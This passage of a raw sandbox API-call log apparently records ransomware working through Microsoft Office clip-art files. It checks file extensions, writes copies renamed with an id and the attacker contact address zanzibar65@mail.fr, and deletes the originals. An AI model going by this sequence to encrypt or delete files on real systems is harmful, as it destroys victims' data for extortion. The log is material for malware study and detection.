(lpString=".docx") returned 5 [0060.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.430] lstrlenW (lpString=".pdf") returned 4 [0060.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.430] lstrlenW (lpString=".xls") returned 4 [0060.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.430] lstrlenW (lpString=".xlsx") returned 5 [0060.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.430] lstrlenW (lpString=".ppt") returned 4 [0060.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.431] lstrlenW (lpString=".zip") returned 4 [0060.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.431] lstrlenW (lpString=".rar") returned 4 [0060.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.431] lstrlenW (lpString=".bz2") returned 4 [0060.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.431] lstrlenW (lpString=".7z") returned 3 [0060.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.431] lstrlenW (lpString=".dbf") returned 4 [0060.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.431] lstrlenW (lpString=".1cd") returned 4 [0060.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.431] lstrlenW (lpString=".jpg") returned 4 [0060.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.591] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2422) returned 1 [0060.591] CloseHandle (hObject=0x254) returned 1 [0060.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0060.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.592] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.592] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0060.592] GetLastError () returned 0x0 [0060.592] ReadFile (in: hFile=0x254, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x976, lpOverlapped=0x0) returned 1 [0060.596] WriteFile (in: hFile=0x1c4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x980, lpOverlapped=0x0) returned 1 [0060.597] ReadFile (in: hFile=0x254, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.597] WriteFile (in: hFile=0x1c4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.597] SetEndOfFile (hFile=0x1c4) returned 1 [0060.597] CloseHandle (hObject=0x1c4) returned 1 [0060.598] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.598] SetEndOfFile (hFile=0x254) returned 1 [0060.598] CloseHandle (hObject=0x254) returned 1 [0060.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0060.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0060.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0060.599] lstrlenW (lpString=".doc") returned 4 [0060.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.599] lstrlenW (lpString=".docx") returned 5 [0060.599] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0060.599] lstrlenW (lpString=".pdf") returned 4 [0060.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.599] lstrlenW (lpString=".xls") returned 4 [0060.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.599] lstrlenW (lpString=".xlsx") returned 5 [0060.599] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0060.599] lstrlenW (lpString=".ppt") returned 4 [0060.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0060.599] lstrlenW (lpString=".zip") returned 4 [0060.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.599] lstrlenW (lpString=".rar") returned 4 [0060.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.599] lstrlenW (lpString=".bz2") returned 4 [0060.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.599] lstrlenW (lpString=".7z") returned 3 [0060.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0060.600] lstrlenW (lpString=".dbf") returned 4 [0060.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0060.600] lstrlenW (lpString=".1cd") returned 4 [0060.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0060.600] lstrlenW (lpString=".jpg") returned 4 [0060.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.601] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2262) returned 1 [0060.601] CloseHandle (hObject=0x254) returned 1 [0060.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0060.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.601] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.601] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0060.602] GetLastError () returned 0x0 [0060.602] ReadFile (in: hFile=0x254, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0060.603] WriteFile (in: hFile=0x1c4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0060.606] ReadFile (in: hFile=0x254, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.606] WriteFile (in: hFile=0x1c4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.607] SetEndOfFile (hFile=0x1c4) returned 1 [0060.607] CloseHandle (hObject=0x1c4) returned 1 [0060.607] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.607] SetEndOfFile (hFile=0x254) returned 1 [0060.608] CloseHandle (hObject=0x254) returned 1 [0060.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0060.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0060.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0060.608] lstrlenW (lpString=".doc") returned 4 [0060.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.608] lstrlenW (lpString=".docx") returned 5 [0060.608] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0060.608] lstrlenW (lpString=".pdf") returned 4 [0060.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.608] lstrlenW (lpString=".xls") returned 4 [0060.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.609] lstrlenW (lpString=".xlsx") returned 5 [0060.609] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0060.609] lstrlenW (lpString=".ppt") returned 4 [0060.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0060.609] lstrlenW (lpString=".zip") returned 4 [0060.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.609] lstrlenW (lpString=".rar") returned 4 [0060.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.609] lstrlenW (lpString=".bz2") returned 4 [0060.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.609] lstrlenW (lpString=".7z") returned 3 [0060.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0060.609] lstrlenW (lpString=".dbf") returned 4 [0060.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0060.609] lstrlenW (lpString=".1cd") returned 4 [0060.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0060.609] lstrlenW (lpString=".jpg") returned 4 [0060.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.300] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5270) returned 1 [0061.300] CloseHandle (hObject=0x194) returned 1 [0061.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0061.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.301] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.301] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.301] GetLastError () returned 0x0 [0061.301] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1496, lpOverlapped=0x0) returned 1 [0061.303] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0061.304] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.304] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.304] SetEndOfFile (hFile=0x150) returned 1 [0061.305] CloseHandle (hObject=0x150) returned 1 [0061.305] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.305] SetEndOfFile (hFile=0x194) returned 1 [0061.305] CloseHandle (hObject=0x194) returned 1 [0061.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0061.306] lstrlenW (lpString=".doc") returned 4 [0061.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.306] lstrlenW (lpString=".docx") returned 5 [0061.306] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0061.306] lstrlenW (lpString=".pdf") returned 4 [0061.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.306] lstrlenW (lpString=".xls") returned 4 [0061.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.306] lstrlenW (lpString=".xlsx") returned 5 [0061.306] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0061.306] lstrlenW (lpString=".ppt") returned 4 [0061.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0061.306] lstrlenW (lpString=".zip") returned 4 [0061.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.306] lstrlenW (lpString=".rar") returned 4 [0061.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.306] lstrlenW (lpString=".bz2") returned 4 [0061.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.306] lstrlenW (lpString=".7z") returned 3 [0061.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0061.306] lstrlenW (lpString=".dbf") returned 4 [0061.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0061.307] lstrlenW (lpString=".1cd") returned 4 [0061.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0061.307] lstrlenW (lpString=".jpg") returned 4 [0061.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.308] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2952) returned 1 [0061.308] CloseHandle (hObject=0x194) returned 1 [0061.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0061.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.308] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.308] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.309] GetLastError () returned 0x0 [0061.309] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xb88, lpOverlapped=0x0) returned 1 [0061.310] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0061.311] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.311] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.311] SetEndOfFile (hFile=0x150) returned 1 [0061.311] CloseHandle (hObject=0x150) returned 1 [0061.311] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.311] SetEndOfFile (hFile=0x194) returned 1 [0061.312] CloseHandle (hObject=0x194) returned 1 [0061.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0061.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0061.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0061.312] lstrlenW (lpString=".doc") returned 4 [0061.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.312] lstrlenW (lpString=".docx") returned 5 [0061.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.312] lstrlenW (lpString=".pdf") returned 4 [0061.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.312] lstrlenW (lpString=".xls") returned 4 [0061.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.313] lstrlenW (lpString=".xlsx") returned 5 [0061.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.313] lstrlenW (lpString=".ppt") returned 4 [0061.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0061.313] lstrlenW (lpString=".zip") returned 4 [0061.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.313] lstrlenW (lpString=".rar") returned 4 [0061.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.313] lstrlenW (lpString=".bz2") returned 4 [0061.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.313] lstrlenW (lpString=".7z") returned 3 [0061.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0061.313] lstrlenW (lpString=".dbf") returned 4 [0061.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0061.313] lstrlenW (lpString=".1cd") returned 4 [0061.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0061.313] lstrlenW (lpString=".jpg") returned 4 [0061.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.313] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9992) returned 1 [0061.313] CloseHandle (hObject=0x194) returned 1 [0061.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0061.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.314] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, 